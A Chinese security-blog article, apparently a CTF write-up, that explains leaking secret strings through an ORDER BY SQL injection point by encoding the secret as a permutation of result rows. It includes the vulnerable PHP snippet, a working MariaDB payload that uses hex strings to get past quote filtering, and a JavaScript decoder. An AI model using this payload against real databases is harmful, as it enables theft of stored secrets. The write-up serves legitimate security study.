【乾貨】SQL注入之Order-by-Leak

2021-02-19 SecPulse安全脈搏

前言

前些日子在看google-2019-ctf的時候,看到一道關於Order by注入點的題,覺得很有趣。第一次考慮如何通過一次SQL查詢,儘可能得到更多有用的信息。

進入正題考慮下面的情況

1. $db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);

2. $inject = $db->escape_string($_GET['order']);

3. $sql = "select * from user order by $inject";

4. $result = $db->query($sql);

5. show_fileds($result); // 講查詢結果按順序列印出來

這個時候注入點在order by 後面,order by 後面是不能帶union select,而且此處也是不存在報錯注入的。唯一顯示是通過該處查詢得到的user表的所有內容。每次輸出的唯一差異性在於每行查詢數據的排列順序,是否可以通過不同的排列順序去間接的洩露一些信息呢?答案是肯定的。

如果有n條查詢結果,那麼就有n!種不同的排列順序,這就是有n個球和n個盒子的問題,如何把n個球放到這n個盒子裡面,每個盒子只能放一個球,其實也就是排列數公式 (n!/(n-m)!)中m=n的特殊情況即全排列。我們如何去使用這n!種情況呢?這就是本文問題所在。

字符串轉換成整數

通常SQL注入的情況下,我們需要得到的信息都是字符串,所以很多情況下都是去猜解這個字符串。在只通過一次查詢的情況去猜解更多位的字符串是我們的目標。所以我們需要把我們猜解的結果以查詢結果排序的順序間接的顯示出來。需要首先考慮猜解範圍集合和排列數集合大小關係。

例如需要猜解的字符串單個字符在 "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 36位字符集合裡面,若是長度為n的字符串,那麼猜解的範圍就為36**n,若當前user表包含9條數據,那麼排列數的大小為9!,則能表示的位數為log36(9!)=3.572417978,所以一次查詢能完全正確猜解的位數為3,那麼在n位的字符串裡面可以截取3位,這36位字符集合正好是mysql裡面36進位用到的字符,所以可以進行conv(substr(@secert,1,3),36,10),這裡的@secert表示需要猜解的字符串。如果conv無法使用,你可以自己做一個簡單的轉換(ord(c)-22)%43把"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"的ASCII映射到[0,35]上,然後再分別乘上對36**r,r表示字符對應的36進位的位數,這樣做需要在腳本解碼的時候也用同樣的映射算法。

這裡我們已經可以把分割字符串轉化10進位的整數值。整數值的大小應該是在排列數的範圍之類。接著就是如何把整數值轉換成排列值。

數字到排序的Encode 和 Decode

這個地方可以理解為給出了一個字符串 和 整數n,輸出這個字符串的第n個全排列。這裡的字符串相當於這裡user表裡每行數據為單元的集合,整數n就是前面分割得到字符轉化為的整數值。這裡介紹兩種計算全排列的方法。

0x1 rand()

在order by後面使用rand(), 是可以用來輸出每次查詢都是不同順序的數據行。例如:

1. MariaDB [test]> select * from maple;

2. +--+----+

3. | date       | winner       |

4. +--+----+

5. | 2019-03-01 | 4KYEC00RC5BZ |

6. | 2019-04-02 | 7AET1KPGKUG4 |

7. | 2019-04-06 | UDT5LEWRSWM9 |

8. | 2019-04-10 | OQQRH90KDJH1 |

9. | 2019-04-12 | 2JTBMJW9HZOO |

10. | 2019-04-14 | L4CY1JMRBEAW |

11. | 2019-04-18 | 8DKYRPIO4QUW |

12. | 2019-04-22 | BFWQCWYK9VHJ |

13. | 2019-04-27 | 31OSKU57KV49 |

14. +--+----+

15. 

16. MariaDB [test]> select * from maple order by rand();

17. +--+----+

18. | date       | winner       |

19. +--+----+

20. | 2019-04-18 | 8DKYRPIO4QUW |

21. | 2019-04-27 | 31OSKU57KV49 |

22. | 2019-04-10 | OQQRH90KDJH1 |

23. | 2019-04-12 | 2JTBMJW9HZOO |

24. | 2019-04-02 | 7AET1KPGKUG4 |

25. | 2019-03-01 | 4KYEC00RC5BZ |

26. | 2019-04-06 | UDT5LEWRSWM9 |

27. | 2019-04-22 | BFWQCWYK9VHJ |

28. | 2019-04-14 | L4CY1JMRBEAW |

29. +--+----+

30. 

31. MariaDB [test]> select * from maple order by rand();

32. +--+----+

33. | date       | winner       |

34. +--+----+

35. | 2019-04-12 | 2JTBMJW9HZOO |

36. | 2019-04-18 | 8DKYRPIO4QUW |

37. | 2019-04-14 | L4CY1JMRBEAW |

38. | 2019-04-27 | 31OSKU57KV49 |

39. | 2019-03-01 | 4KYEC00RC5BZ |

40. | 2019-04-22 | BFWQCWYK9VHJ |

41. | 2019-04-02 | 7AET1KPGKUG4 |

42. | 2019-04-06 | UDT5LEWRSWM9 |

43. | 2019-04-10 | OQQRH90KDJH1 |

44. +--+----+

45. 9 rows in set (0.001 sec)

可以看到每次輸出的順序是不同的,再來看一下固定的隨機種子rand(1)

1. MariaDB [test]> select * from maple order by rand(1);

2. +--+----+

3. | date       | winner       |

4. +--+----+

5. | 2019-04-12 | 2JTBMJW9HZOO |

6. | 2019-04-10 | OQQRH90KDJH1 |

7. | 2019-04-06 | UDT5LEWRSWM9 |

8. | 2019-04-27 | 31OSKU57KV49 |

9. | 2019-04-22 | BFWQCWYK9VHJ |

10. | 2019-03-01 | 4KYEC00RC5BZ |

11. | 2019-04-18 | 8DKYRPIO4QUW |

12. | 2019-04-02 | 7AET1KPGKUG4 |

13. | 2019-04-14 | L4CY1JMRBEAW |

14. +--+----+

15. 9 rows in set (0.001 sec)

16. 

17. MariaDB [test]> select * from maple order by rand(1);

18. +--+----+

19. | date       | winner       |

20. +--+----+

21. | 2019-04-12 | 2JTBMJW9HZOO |

22. | 2019-04-10 | OQQRH90KDJH1 |

23. | 2019-04-06 | UDT5LEWRSWM9 |

24. | 2019-04-27 | 31OSKU57KV49 |

25. | 2019-04-22 | BFWQCWYK9VHJ |

26. | 2019-03-01 | 4KYEC00RC5BZ |

27. | 2019-04-18 | 8DKYRPIO4QUW |

28. | 2019-04-02 | 7AET1KPGKUG4 |

29. | 2019-04-14 | L4CY1JMRBEAW |

30. +--+----+

31. 9 rows in set (0.001 sec)

固定隨機種子,固定輸出一種排列順序。所以在這裡可以用 rand(conv(substr(@secert,1,3),36,10)),但在此之前,我們需要維護一張關於rand([0,n!-1])的映射表,這個工作可以在本地完成,然後通過遍歷映射表還原字符串。使用rand()相當於需要自己去額外維護一張全排列的表,下面再介紹一種方法把全排列算法放在查詢語句中。

0x2 Index of row

如何把計算全排列的算法放在查詢語句裡面呢?首先我們先嘗試給每一行數據添加一個index序號,添加序號的方法又可以分為兩種,如下:

1. set @row = 0;

2. select *,@row:=@row+1 from user;

額外定義一個SQL變量用來表示每次查詢的行號。同樣也根據每行數據的特徵來表示行號,如若表的結構如下:

1. +--+----+

2. | date       | winner       |

3. +--+----+

4. | 2019-04-18 | 8DKYRPIO4QUW |

5. | 2019-04-27 | 31OSKU57KV49 |

6. | 2019-04-10 | OQQRH90KDJH1 |

7. | 2019-04-12 | 2JTBMJW9HZOO |

8. | 2019-04-02 | 7AET1KPGKUG4 |

9. | 2019-03-01 | 4KYEC00RC5BZ |

10. | 2019-04-06 | UDT5LEWRSWM9 |

11. | 2019-04-22 | BFWQCWYK9VHJ |

12. | 2019-04-14 | L4CY1JMRBEAW |

13. +--+----+

我們也可以用find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))這樣的方式來表示。再來仔細理解一下order by是怎麼工作的。

1. MariaDB [test]> explain select * from maple order by 1;

2. +-+---+--+-++-+----+-+-+-+

3. | id   | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra          |

4. +-+---+--+-++-+----+-+-+-+

5. |    1 | SIMPLE      | maple | ALL  | NULL          | NULL | NULL    | NULL |    8 | Using filesort |

6. +-+---+--+-++-+----+-+-+-+

7. 1 row in set (0.000 sec)

可以注意到出現了filesort,在使用這種排序的時候首先從表裡讀取所有滿足條件的行,即order by用到的列值,然後再根據每列order by 後表達式計算的值,進行一次quicksort。目標在排序之前拿到從表裡讀到的數據列的順序都是固定的,即select * from user。

這裡表的結構裡面有9列,所以要把拿到的整數值轉化成個9權重值分給每一列,再進行快速排列。前面說到的整數n應該在[0,9!)之間。所以我們可以通過除法和模運算來轉化。

1. $n = $d9 * 9 + $r9 // r9 in [0 ,8]

2. $d9 = $d8 * 8 + $r8 // r8 in [0 ,7]

3. $d8 = $d7 * 7 + $r7 // r7 in [0 ,6]

4. $d7 = $d6 * 6 + $r6 // r6 in [0 ,5]

5. $d6 = $d5 * 5 + $r5 // r5 in [0 ,4]

6. $d5 = $d4 * 4 + $r4 // r4 in [0 ,3]

7. $d4 = $d3 * 3 + $r3 // r3 in [0 ,2]

8. $d3 = $d2 * 2 + $r2 // r2 in [0 ,2]

9. $r2 = $d1 * 1 + $r1 //

10. $r1 = 0

得到[$r9 ,$r8 ,$r7 ,$r6 ,$r5 ,$r4 ,$r3 ,$r2 ,$r1],如6666會被轉化成[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0],再根據這個集合轉化成[0,1,2,3,4,5,6,7,8]賦給每一列,如何轉化呢?

首先定義@l: = "012345678"表示權重tokens,再把[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0] + 1當做下標,去截@l裡面的字符。每次截取之後就把截取出來的字符從@l裡面去掉,最後生成了[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8],按照順序再賦值給每一列order by返回值,生成排序結果。以上部分相當於是Encode的部分,把整數值n轉化成對應全排列。用SQL語句來表示為:

1. select * 

2.     from maple

3.     order by 

4.     (select concat(

5.     (select 1 from(select @l:=0x303132333435363738,@r:=9,@b:=66)x),//0x303132333435363738 == 「012345678」因為過濾了單引號

6.     substr(@l,1+mod(@b,@r),1),

7.     @l:=concat(substr(@l,1,mod(@b,@r)),

8.     substr(@l,2+mod(@b,@r))),

9.     @b:=@b div @r,@r:=@r-1));

可以看到這裡order by 後面表達式返回的是concat拼接的一長串值,不是簡單的"012345678"裡面的某個單字符。這裡其實不影響,mysql裡面字符串進行比較的時候,是按位比較的,這裡第一位都是1不影響,緊接著就是每一列真正的權重值。

前面說到find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))這種輸出行號的方法,在這裡其實也是可以用到的。可以通過嵌套的select,先用一個select 得到[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0]除法和模運算得到的序列,再用一次select得到[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8]權重值序列,再通過find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))依次去取前面得到的權重值數組裡面的值。相對來說還是第一種方法較為簡單。

解碼過程就是把排列順序還原成整數n,再將整數n還原字符串,第二步較為簡單。第一步的操作如下:

1. function cal(str){

2. 

3.     a = "012345678"

4.     offsets = [];

5.     while(str.length>0){

6.       chr=str.substr(0,1)

7.       str=str.substr(1)

8.       offset = a.indexOf(chr)

9.       offsets.push(offset);

10.       a = a.substr(0,offset)+a.substr(offset+1);

11. 

12.     }

13.     len = offsets.length

14.     num = 0

15.     cx  = 1

16.     while(len>0){

17. 

18.      num = num*cx+offsets[len-1]

19.      cx++;

20.      len--;

21.     }

22.     //console.log(cx);

23.     console.log(num);

24. }

可把得到的排序序列組成的字符串轉換成整數n,Decode算法按照Encode 的算法來寫就行。

總結

SQL注入在原印象中都是利用頁面的差異一位一位的猜解,在此處order by可以儘可能多的猜解多位,對於長字符串你需要根據表中數據列的多少進行分割再依次進行猜解,這個地方需要注意的是,我看到有的地方對於長字符串可以壓縮之後再進行猜解,length(compress(@string)) < length(@string) 字符串長度在90左右時候成立,但是在這個地方,是否也可以將字符串進行壓縮呢?我認為並不是一個明智的選擇,壓縮之後會引入新的字符,可能會減少字符串的長度,但一定會增加猜解的範圍。其實關於用SQL生成全排列的算法遠不止上面幾種,有興趣的朋友可以自己再琢磨琢磨。

關注脈搏,有更多安全資訊及技術性文章在等你!

↙↙↙ 點擊 」閱讀原文「 與作者展開話題探討,直面交流

相關焦點

  • 徹底幹掉噁心的 SQL 注入漏洞, 一網打盡!
    這裡需要注意的是,使用了PreparedStatement 並不意味著不會產生注入,如果在使用PreparedStatement之前,存在拆分sql語句,那麼仍然會導致注入,如// 拼接 sqlString sql = "SELECT *
  • 日進一步第三天,SQL語句之order by
    數據分析之小白的第一條sql語句第二天的group by則是方便快捷分組語句數據分析之小白的第二條sql語句比如:order by name---根據姓名排序order by price---根據價格排序order by price name--先根據價格再根據名字進行排序(這種情況下只有價格相同的情況才會根據姓名進行排序)
  • 日進一步,SQL語句之order by
    公眾號:輕鬆自由7799第一天的SELECT……FEOM……是最常用的查詢語句,每日進步,寫一條SQL語句第二天的group by則是方便快捷分組語句數據分析之小白的第二條sql語句今天帶來的是ORDER BY---排序語句為了對檢索出的結果進行排序,一般我們就會用到ORDER BY了,它的含義是:
  • Java web安全黑客攻防之sql注入
    1.什麼是sql注入sql注入通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL命令通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL
  • SQL注入常規Fuzz全記錄
    前言本篇文章是在做ctf bugku的一道sql 盲注的題(題目地址:注入題目)中運用了fuzz的思路,完整記錄整個fuzz的過程
  • SQL注入攻擊詳解
    注入可以藉助資料庫的存儲過程進行提權等操作4、判斷Sql注入點4.1 判斷是否存在sql注入漏洞通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX對 Sql 注入的判斷,主要有兩個方面:判斷該帶參數的 Url 是否存在 Sql 注入?
  • SQL注入的幾種類型和原理
    UNION注入的應用場景UNION注入的流程123graph LRA[order by確定列數] --> B["查看返回點,選取可以顯示數據的位置"]B --> C["讀庫、讀表、讀數據(可執行任意語句)"]為什麼 order by 能確定列數
  • SQL 注入常規 Fuzz 全記錄
    (給數據分析與開發加星標,提升數據技能)來自:FreeBuf.COM,作者:Conanwww.freebuf.com/articles/web/190019.html前言本文是在做ctf bugku的一道sql
  • web安全之SQL注入(16)——delete和like注入
    delete from users where id=14 一般情況是網站後臺的sql語句,當我們測試刪除功能是否存在注入時,一定你要是用and測試,不要使用or測試。當使用or進行測試,跟一個布爾假值,這時如果前面的條件為真,你使用or跟一個假值,只會刪除一條數據,這裡問題不大,繼續測試
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • SQL 注入攻防入門詳解
    這幾天把sql注入的相關知識整理了下,希望大家多多提意見。(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)下面的程序方案是採用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
  • 特殊場景的sql注入思路
    上一篇介紹了sql注入的基礎知識以及手動注入方法,但是在實際的環境中往往不會像靶場中那樣簡單。今天我就來為大家介紹一種特殊場景的sql注入思路。用戶名與密碼分開驗證的情況第一個場景我們以We Chall平臺的Training: MySQL II 一題為例。
  • 小腳本 大方便:滲透測試必備之update型注入技巧
    \'#'return sql_count#跑表的列名用到的sql注入語句 def sql_column(table_name,num):tn16=binascii.b2a_hex(table_name.encode("utf8"))sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns
  • SQL注入、XSS以及CSRF分別是什麼?
    什麼是SQL注入、XSS和CSRF?本篇文章就來帶大家了解一下SQL注入、XSS和CSRF,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。SQL注入SQL注入是屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據(比如用戶敏感數據)隔離,在讀取數據的時候,錯誤的將數據作為代碼的一部分執行而導致的。典型的例子就是當對SQL語句進行字符串拼接的時候,直接使用未轉義的用戶輸入內容作為變量。
  • 女朋友都能看懂的,SQL優化乾貨
    在欄位後面使用模糊查詢select * from teacher where name like '李%'如果一定要在欄位開頭模糊查詢,那可以使用INSTR(str,substr)意思是:在字符串str裡面,字符串substr出現的第一個位置(index),index是從1開始計算,如果沒有找到就直接返回0 ,所以可以使用如下sql
  • 最詳細的SQL注入相關的命令整理
    7)SQL注入建立虛擬目錄,有dbo權限下找不到web絕對路徑的一種解決辦法:我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:?
  • 淺談開啟magic_quote_gpc後的sql注入攻擊與防範
    SQL語句:$sql="select * from users where username=$name and password='$pwd'";注意:變量$name沒加引號此時,在地址欄中輸入username=admin%23,則合成後的sql語句為:select * from users where username='admin\' #' and password='
  • Django QuerySet查詢基礎與技巧.有了她,再也不用擔心SQL注入了.
    相對直接使用SQL而言,QuerySet可以防止大部分SQL注入,而且提高代碼可讀性。畢竟Django的模型和具體表名不太一樣,需要查閱才得知表名,而且寫一大串SQL代碼可能直接把人看暈。假如碰到模型變動(改名、增刪欄位等),SQL可能又要重新調整。所以,能使用QuerySet的情況下,最好使用QuerySet。還有重要一點,QuerySet是懶惰的。
  • 優雅的 ORM 框架 sqltoy-orm-4.11.9 發版了
    因為針對常規的CRUD sqltoy跟大家並無較大差異!如果您的數據規模較大,涉及相對複雜的查詢已經影響到了用戶體驗,可以深入了解sqltoy,對你會有較大的幫助! 根本上杜絕了sql注入問題 最科學的sql編寫方式* sqltoy的sql編寫(支持嵌套)select *from sqltoy_device_order_info t where #[
  • 極致性能 sqltoy-orm-4.12.10 發版 - OSCHINA - 中文開源技術交流...
    根本上杜絕了sql注入問題 最科學的sql編寫方式* sqltoy的sql編寫(支持嵌套)select *from sqltoy_device_order_info t where #[同樣功能實現select * from sqltoy_device_order_info t <where> <if test="orderId!